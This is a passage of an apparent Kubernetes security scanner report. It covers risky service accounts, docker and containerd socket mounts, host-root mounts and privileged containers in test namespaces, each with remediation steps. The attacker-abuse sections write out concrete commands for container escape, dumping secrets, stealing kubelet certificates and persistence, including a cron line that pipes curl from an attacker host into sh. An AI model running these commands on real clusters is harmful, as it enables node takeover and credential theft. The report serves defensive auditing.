    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "source_binding": "crb-pod-create",
      "source_role": "cr-pod-create",
      "verbs": [
        "create"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "daemon-app-v82sg",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Namespace 8.3
ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
Scope · Namespace ServiceAccount secrets-bundle/cross-ns-reader: namespace-scoped subject; mounted by pods in secrets-bundle
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: ServiceAccount/secrets-bundle/cross-ns-reader

ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader carries one or more dangerous RBAC capabilities (secrets (secrets-bundle-target)) *and* is actively mounted by workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86, Deployment/secrets-bundle/cross-ns-consumer). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86, Deployment/secrets-bundle/cross-ns-consumer. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/secrets-bundle/cross-ns-reader immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86, Deployment/secrets-bundle/cross-ns-consumer) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (secrets-bundle-target)) directly. The token already authenticates as ServiceAccount/secrets-bundle/cross-ns-reader, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/secrets-bundle/cross-ns-reader into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86, Deployment/secrets-bundle/cross-ns-consumer) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/secrets-bundle/cross-ns-reader and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlist on secrets in
via secrets-reader (binding cross-ns-secrets-read) in namespace secrets-bundle-target
Workloads
Pod/cross-ns-consumer-6c945c9c9d-blz86 in namespace secrets-bundle
Deployment/cross-ns-consumer in namespace secrets-bundle
Dangerous permissionssecrets (secrets-bundle-target)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (secrets-bundle-target)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "secrets-bundle-target",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "source_binding": "cross-ns-secrets-read",
      "source_role": "secrets-reader",
      "verbs": [
        "get",
        "list"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "cross-ns-consumer-6c945c9c9d-blz86",
      "namespace": "secrets-bundle"
    },
    {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle"
    }
  ]
}
HIGH

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to

KUBE-SA-DAEMONSET-001 1 subject Score 7.4
MITRE ATT&CK: T1611T1552.007T1078.004

Affected subject

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.4
ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
Scope · Cluster ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create: DaemonSet places its token on every node in the cluster (or every node matching the DaemonSet's nodeSelector)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ServiceAccount/rbac-fixtures/sa-pod-create

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet (Pod/rbac-fixtures/daemon-app-v82sg, DaemonSet/rbac-fixtures/daemon-app). DaemonSets schedule one pod per matching node, so the kubelet projects this SA's token onto every one of those nodes. From an attacker's perspective, that turns any single node compromise (kernel CVE, runtime escape, host-mount-via-misconfigured-pod, malicious workload that escapes its sandbox) into immediate possession of the SA's identity, scaled by node count.

Aggregated rules: - verbs [create] on resources [pods] (from crb-pod-create/cr-pod-create in cluster-wide)

DaemonSet-mounted SAs are special-case for two reasons:
1. Distribution: a typical cluster has tens to thousands of nodes. The token is on each one, in /var/lib/kubelet/pods/<uid>/volumes/.... Any node compromise (including ones the security team would normally call "contained to one node") exfiltrates the same token, and rotating one node's token does not invalidate the others (until the next pod re-projection cycle, ~1h with default token TTL).
2. Privilege: DaemonSets are typically infrastructure agents (logging, monitoring, CNI, CSI, cluster-autoscaler) that legitimately need cluster-wide reads. So the SA tends to carry above-average permissions: nodes:get, pods:list, events:create, sometimes secrets:get for image-pull credentials. Combined with cluster-wide distribution this is a high-leverage credential.

Impact A single node compromise yields a token that authorizes whatever this SA's RBAC says, anywhere in the cluster. With DaemonSet-typical permissions (cluster-wide reads, sometimes node-level controls) this is a fast pivot from one host to cluster-wide visibility/influence.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises one node via a kernel CVE in a tenant workload, an outdated containerd, or a misconfigured pod with hostPath: / they were able to schedule there.
  2. From the host they read /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected-volumes/token (the projected token of ServiceAccount/rbac-fixtures/sa-pod-create).
  3. They use the token from outside the cluster (kubectl --token=...). The token still works because projection-renewal does not invalidate already-extracted copies until the original expiration.
  4. They use the SA's RBAC for whatever it grants (typically nodes:get, pods:list, secrets:get for image pulls) to locate higher-value targets.
  5. Scale: every node has a copy. Cleanup is per-node, and the team typically only rotates the compromised node's token, leaving the same SA active on all the others.
Remediation
Tighten ServiceAccount/rbac-fixtures/sa-pod-create's RBAC to the literal minimum the DaemonSet needs, set short token TTL (expirationSeconds: 600) on the projected token, and treat the DaemonSet's image and host mounts as part of the SA's effective trust boundary.
  1. Audit ServiceAccount/rbac-fixtures/sa-pod-create's actual API calls with audit2rbac and pare the bindings down to the minimum verbs. Remove any secrets:get unless explicitly required for image pulls.
  2. In the DaemonSet pod template, project the token with expirationSeconds: 600 (10 min) instead of the default 1h. This caps the leak window for any single token theft.
  3. Audit the DaemonSet's container image and host mounts: a DaemonSet with hostPath: / is itself an escape primitive. Disallow privileged containers, hostPath, hostPID, hostNetwork in the DaemonSet's PodSpec.
  4. Add per-node detection: alert on kubectl create token <sa> invocations from outside expected control-plane subjects, and on usage of the SA's name from IPs that are not pod CIDR.
  5. If the DaemonSet does not actually need an API token, set automountServiceAccountToken: false on its PodSpec and on ServiceAccount/rbac-fixtures/sa-pod-create itself.
Evidence
Effective rules
create on pods in
via cr-pod-create (binding crb-pod-create) (cluster scope)
Workloads
Pod/daemon-app-v82sg in namespace rbac-fixtures
DaemonSet/daemon-app in namespace rbac-fixtures
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "source_binding": "crb-pod-create",
      "source_role": "cr-pod-create",
      "verbs": [
        "create"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "daemon-app-v82sg",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
MEDIUM

Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights

KUBE-SA-DEFAULT-002 1 subject Score 6.2

Affected subject

MEDIUM ServiceAccount/vulnerable/default Namespace 6.2
Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
Scope · Namespace Namespace vulnerable: every Pod that does not set serviceAccountName mounts the default SA's token
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: ServiceAccount/vulnerable/default

ServiceAccount vulnerable/default has explicit RBAC bindings. Every Pod created in vulnerable that does not set spec.serviceAccountName is silently bound to this SA, the kubelet projects its token into the pod, and the workload can call kube-apiserver with whatever permissions the bindings grant. Nobody explicitly asked for any of this.

Aggregated rules:
- verbs [get] on resources [configmaps] (from default-sa-rb/cm-reader in vulnerable)

This is one of the most common privilege-escalation gateways in Kubernetes for two reasons: (1) the default SA is the *implicit* identity for every misconfigured manifest, so a single binding to it propagates to every team in the namespace; (2) developers iterating on a deployment regularly forget to set serviceAccountName and never notice the elevated identity because the API behaves as expected. The Kubernetes RBAC good-practices guide is explicit: "Avoid granting RBAC to the default service account in any namespace," precisely because it converts "forgetting a field" into "granting privilege."

The right model is to leave the default SA permissionless and require every workload to declare its identity explicitly. That turns the implicit default into a fail-closed signal that something is misconfigured.

Impact Any Pod in vulnerable that omits serviceAccountName quietly mounts a token for these RBAC rules. Compromise of any such pod (RCE in any app) yields immediate API access at the granted privileges. Workloads attached: Pod/vulnerable/generic-hostpath-app-68d6b85955-wqc95, Pod/vulnerable/host-ns-app-7cb46d5788-xbc8b, Pod/vulnerable/risky-app-5879fbc5d8-z2jc9, Pod/vulnerable/root-runner-5db6f7b4bf-jm4wl, Pod/vulnerable/socket-mounts-app-78c5564768-5s2xg, Deployment/vulnerable/generic-hostpath-app, Deployment/vulnerable/host-ns-app, Deployment/vulnerable/risky-app, Deployment/vulnerable/root-runner, Deployment/vulnerable/socket-mounts-app.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker exploits a workload in vulnerable that did not set spec.serviceAccountName (a common omission).
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod filesystem.
  3. They curl the kube-apiserver with the token's bearer header. The granted RBAC applies, even though the developer never knew the SA had any permissions.
  4. They use the granted rights (typical patterns: list secrets in the namespace, list pods cluster-wide, exec into other pods) to extend reach.
  5. Because the binding is to default rather than a named SA, future pods in vulnerable *also* inherit this identity. Every redeploy of every workload in the namespace becomes a potential privesc point.
Remediation
Remove all RoleBindings/ClusterRoleBindings to vulnerable/default, create dedicated ServiceAccounts per workload, and set automountServiceAccountToken: false on the default SA.
  1. List the bindings: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "default" and .namespace == "vulnerable")'.
  2. For each binding, identify the workloads that actually need the right and create a dedicated SA for them (kubectl create sa <workload>-sa -n <ns>); rebind to the dedicated SA.
  3. Delete the bindings to default once consumers are migrated.
  4. Patch the default SA to disable token automounting: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'. Combined with the next step, any pod that forgets serviceAccountName will fail closed instead of inheriting tokens.
  5. Wire enforcement: a Kyverno policy that warns/denies any new RoleBinding whose subjects contain default SA, and any Pod missing an explicit serviceAccountName.
Evidence
Effective rules
get on configmaps in
via cm-reader (binding default-sa-rb) in namespace vulnerable
Workloads
Pod/generic-hostpath-app-68d6b85955-wqc95 in namespace vulnerable
Pod/host-ns-app-7cb46d5788-xbc8b in namespace vulnerable
Pod/risky-app-5879fbc5d8-z2jc9 in namespace vulnerable
Pod/root-runner-5db6f7b4bf-jm4wl in namespace vulnerable
Pod/socket-mounts-app-78c5564768-5s2xg in namespace vulnerable
Deployment/generic-hostpath-app in namespace vulnerable
Deployment/host-ns-app in namespace vulnerable
Deployment/risky-app in namespace vulnerable
Deployment/root-runner in namespace vulnerable
Deployment/socket-mounts-app in namespace vulnerable
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "vulnerable",
      "resource_names": null,
      "resources": [
        "configmaps"
      ],
      "source_binding": "default-sa-rb",
      "source_role": "cm-reader",
      "verbs": [
        "get"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "generic-hostpath-app-68d6b85955-wqc95",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "host-ns-app-7cb46d5788-xbc8b",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "risky-app-5879fbc5d8-z2jc9",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "root-runner-5db6f7b4bf-jm4wl",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "socket-mounts-app-78c5564768-5s2xg",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable"
    }
  ]
}

Pod Security

146 findings · 17 rules · 6 critical · 42 high · 95 medium · 3 low
CRITICAL

Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock)

KUBE-ESCAPE-005 1 subject Score 10.0
MITRE ATT&CK: T1611T1610T1068

Affected subject

CRITICAL Deployment/vulnerable/socket-mounts-app Workload 10.0
Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock)
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts the Docker UNIX socket /var/run/docker.sock from the node into the container (volume docker-sock). The Docker daemon listens on this socket as root and exposes the entire Docker Engine API, including POST /containers/create, which lets any client launch a new container with arbitrary mounts, devices, capabilities, and host-namespace settings.

Mounting docker.sock is equivalent to giving the workload an unrestricted root shell on the node. There is no permission boundary inside the Docker API; a "read-only" mount of the socket file does not help because the socket is a request channel, not a stored object. Once you can connect() to it, you can issue any command. The OWASP Docker Security Cheat Sheet calls this the top-priority anti-pattern, and HackTricks documents the breakout as a one-liner.

From inside the container, install the Docker CLI (or use curl --unix-socket) and run docker run -v /:/host --privileged --pid=host -it alpine chroot /host. The new container mounts the host root, runs as host root, and can drop a backdoor into /etc/cron.d/, steal /var/lib/kubelet/pki/, or nsenter -t 1 -a to land on the host directly.

Impact Equivalent to root on the node: launch any container with any mount, mount the host filesystem, steal kubelet certs, and pivot to the entire cluster.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with docker.sock mounted.
  2. Verify: ls -la /var/run/docker.sock; curl --unix-socket /var/run/docker.sock http://localhost/version.
  3. Spawn a privileged container that mounts host root: docker run -it --rm -v /:/host alpine chroot /host /bin/sh.
  4. Read kubelet client cert: cat /host/var/lib/kubelet/pki/kubelet-client-current.pem and use it to talk to the apiserver as system:node:<nodeName>.
  5. Persist by writing an SSH key to /host/root/.ssh/authorized_keys or installing a systemd service.
Remediation
Remove the docker.sock hostPath mount; do not run sibling-container patterns on Kubernetes.
  1. Identify why the workload talks to Docker. The usual suspects are a CI runner, log shipper, or build system. Replace with a Kubernetes-native alternative: Buildah/Kaniko/Buildkit-rootless for builds, the Kubernetes API for pod orchestration, fluent-bit's tail input for logs.
  2. Remove the hostPath: /var/run/docker.sock volume and corresponding volumeMount.
  3. Apply Pod Security Admission baseline to the namespace (forbids hostPath volumes) and/or use a Kyverno/OPA policy that explicitly denies this path.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes}' | jq should not contain /var/run/docker.sock.
Evidence
Volumedocker-sock
Host path/var/run/docker.sock
Docker socket (container engine takeover)
Show raw JSON
{
  "path": "/var/run/docker.sock",
  "volume": "docker-sock"
}
CRITICAL

Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app

KUBE-ESCAPE-006 1 subject Score 10.0
MITRE ATT&CK: T1611T1552.001T1543

Affected subject

CRITICAL Deployment/vulnerable/risky-app Workload 10.0
Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app mounts the host's root filesystem (hostPath: /) inside the container via volume rootfs. Combined with the container's UID (typically root), this exposes the entire node filesystem: kubelet credentials, every other pod's mounted secrets, the container runtime state, and on control-plane nodes the static-pod manifests under /etc/kubernetes/manifests.

Mounting / is one of the few configurations that, by itself, guarantees host compromise without requiring a CVE, kernel exploit, or even the privileged flag. The kubelet stores per-pod secrets at /var/lib/kubelet/pods/<uid>/volumes/kubernetes.io~secret/<name>/... in cleartext (tmpfs); a read-only host-root mount is enough to copy them all out. A read-write mount turns this into trivial persistence: write to /etc/cron.d/, modify /etc/sudoers, drop a shared-object into /etc/ld.so.preload, or, on a control-plane node, drop a malicious manifest into /etc/kubernetes/manifests/ which the kubelet then runs as a static pod with full privileges.

A single command sequence (chroot /host, cat /host/var/lib/kubelet/pki/kubelet-client-current.pem, then kubectl --kubeconfig=<crafted> get secrets -A) yields full secret enumeration on every pod on the node. Public exploit aids (kubeletmein, peirates) automate the chain.

Impact Read every secret on the node; write to host cron, SSH, kubelet PKI, or static-pod manifests; persistence and pivot to cluster-admin.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. RCE in the pod that mounts / at /host.
  2. Steal kubelet creds: cp /host/var/lib/kubelet/pki/kubelet-client-current.pem /tmp/k.pem.
  3. Enumerate other pods' secrets: find /host/var/lib/kubelet/pods -path '*/kubernetes.io~secret/*' -type f -exec cat {} \;.
  4. Persist: echo '* * * * * root curl http://attacker/x|sh' > /host/etc/cron.d/k8s (RW) or, on a control-plane node, cp evil-pod.yaml /host/etc/kubernetes/manifests/.
  5. With kubelet creds, run kubectl --client-certificate=/tmp/k.pem ... and harvest cluster secrets.
Remediation
Never mount / from the node. Use specific subpaths or projected volumes if absolutely required.
  1. Identify the actual file or directory the workload needs and replace the mount with the narrowest possible path (and readOnly: true).
  2. Where possible, replace hostPath entirely with a CSI-backed volume, ConfigMap, Secret, or projected volume.
  3. Apply Pod Security Admission baseline to the namespace (forbids hostPath). For unavoidable cases, allowlist via Kyverno/Gatekeeper that pins the path and readOnly: true.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes[*].hostPath.path}' does not contain /.
Evidence
Volumerootfs
Host path/
Node root filesystem (full host takeover)
Show raw JSON
{
  "path": "/",
  "volume": "rootfs"
}
CRITICAL

Privileged container app in Deployment/foothold-fixtures/foothold-priv-app

KUBE-ESCAPE-001 2 subjects Score 9.9
MITRE ATT&CK: T1611T1610T1068

Affected subjects (2)

CRITICAL Deployment/foothold-fixtures/foothold-priv-app Workload 9.9
Privileged container app in Deployment/foothold-fixtures/foothold-priv-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-priv-app is configured with securityContext.privileged: true. A privileged container retains every Linux capability (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_NET_ADMIN, etc.), bypasses all Linux Security Module profiles (AppArmor/SELinux), runs without the default seccomp profile, and shares /dev with the host. From the kernel's perspective it is indistinguishable from a process running directly on the node.

This is the single most dangerous PodSpec setting: capability drops, read-only root filesystem, and runAsNonRoot are all neutralised because the container can simply remount, reload kernel modules, or call setuid(0). The Pod Security Standards explicitly forbid privileged containers at both Baseline and Restricted levels.

Real-world breakout: an attacker with code execution loads a kernel module with insmod (CAP_SYS_MODULE), or uses mknod to recreate /dev/sda1, mounts the host root, and writes to /root/.ssh/authorized_keys. Public exploit tooling (deepce, kdigger -ac, kubeletmein) automates these in seconds.

Impact Full root on the host node: read every Secret on the node, exfiltrate the kubelet client certificate, schedule pods anywhere, and pivot to other nodes.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Attacker gains code execution inside the privileged pod (RCE, malicious image, SSRF→shell).
  2. They confirm the configuration with kdigger dig admission or deepce.sh.
  3. They mount the host filesystem: mkdir /host && mount /dev/sda1 /host.
  4. They steal kubelet credentials from /host/var/lib/kubelet/pki/kubelet-client-current.pem or write /host/root/.ssh/authorized_keys.
  5. With kubelet creds they list every Pod and Secret on the node, then escalate to cluster-admin via the cgroup-release-agent technique or nsenter -t 1 -a.
Remediation
Remove privileged: true and explicitly grant only the Linux capabilities the workload actually needs.
  1. Audit why the container needs privileged. Most apps do not. Trace which capability is actually required (often only NET_BIND_SERVICE).
  2. Replace privileged: true with capabilities.drop: [ALL] and an explicit capabilities.add: [<NEEDED_CAP>]. Add allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true, and seccompProfile.type: RuntimeDefault.
  3. Enforce at admission time: label the namespace pod-security.kubernetes.io/enforce: baseline (or restricted) so future regressions are blocked.
  4. Validate with kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.privileged}' returning empty/false.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
CRITICAL Deployment/vulnerable/risky-app Workload 9.9
Privileged container app in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app is configured with securityContext.privileged: true. A privileged container retains every Linux capability (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_NET_ADMIN, etc.), bypasses all Linux Security Module profiles (AppArmor/SELinux), runs without the default seccomp profile, and shares /dev with the host. From the kernel's perspective it is indistinguishable from a process running directly on the node.

This is the single most dangerous PodSpec setting: capability drops, read-only root filesystem, and runAsNonRoot are all neutralised because the container can simply remount, reload kernel modules, or call setuid(0). The Pod Security Standards explicitly forbid privileged containers at both Baseline and Restricted levels.

Real-world breakout: an attacker with code execution loads a kernel module with insmod (CAP_SYS_MODULE), or uses mknod to recreate /dev/sda1, mounts the host root, and writes to /root/.ssh/authorized_keys. Public exploit tooling (deepce, kdigger -ac, kubeletmein) automates these in seconds.

Impact Full root on the host node: read every Secret on the node, exfiltrate the kubelet client certificate, schedule pods anywhere, and pivot to other nodes.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Attacker gains code execution inside the privileged pod (RCE, malicious image, SSRF→shell).
  2. They confirm the configuration with kdigger dig admission or deepce.sh.
  3. They mount the host filesystem: mkdir /host && mount /dev/sda1 /host.
  4. They steal kubelet credentials from /host/var/lib/kubelet/pki/kubelet-client-current.pem or write /host/root/.ssh/authorized_keys.
  5. With kubelet creds they list every Pod and Secret on the node, then escalate to cluster-admin via the cgroup-release-agent technique or nsenter -t 1 -a.
Remediation
Remove privileged: true and explicitly grant only the Linux capabilities the workload actually needs.
  1. Audit why the container needs privileged. Most apps do not. Trace which capability is actually required (often only NET_BIND_SERVICE).
  2. Replace privileged: true with capabilities.drop: [ALL] and an explicit capabilities.add: [<NEEDED_CAP>]. Add allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true, and seccompProfile.type: RuntimeDefault.
  3. Enforce at admission time: label the namespace pod-security.kubernetes.io/enforce: baseline (or restricted) so future regressions are blocked.
  4. Validate with kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.privileged}' returning empty/false.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
CRITICAL

Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)

KUBE-CONTAINERD-SOCKET-001 1 subject Score 9.8
MITRE ATT&CK: T1611T1610T1068

Affected subject

CRITICAL Deployment/vulnerable/socket-mounts-app Workload 9.8
Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts containerd's UNIX socket (/run/containerd/containerd.sock or /var/run/containerd/containerd.sock) into the container via volume containerd-sock. Containerd runs as root and is the runtime the kubelet uses to start every pod on the node. In practice, this means that if you can talk to its API, you can create, modify, or exec into any container on the host, including kube-system control-plane pods.

This is the modern equivalent of the docker.sock anti-pattern. Since Kubernetes 1.24 removed dockershim, most clusters use containerd or CRI-O directly; the same breakout primitives apply but the tooling differs (ctr, crictl). Kubernetes places its containers under containerd namespace k8s.io, so ctr -n k8s.io containers list enumerates every pod on the node.

The Grey Corner's containerd-socket-exploitation series documents the one-liner: install or copy the ctr binary, then run ctr --address /run/containerd/containerd.sock -n k8s.io run --rm --mount type=bind,src=/,dst=/host,options=rbind:rw --privileged docker.io/library/alpine:latest pwn /bin/sh. The result is a privileged container with / mounted at /host. From there an attacker reads the kubelet client cert, dumps every pod's secrets, or task execs a reverse shell into the apiserver static pod on a control-plane node.

Impact Root on the node and arbitrary code execution inside any container on the node, including kube-system static pods. Equivalent to compromising the kubelet itself.
How an attacker abuses this
Background
ResourceDeployment

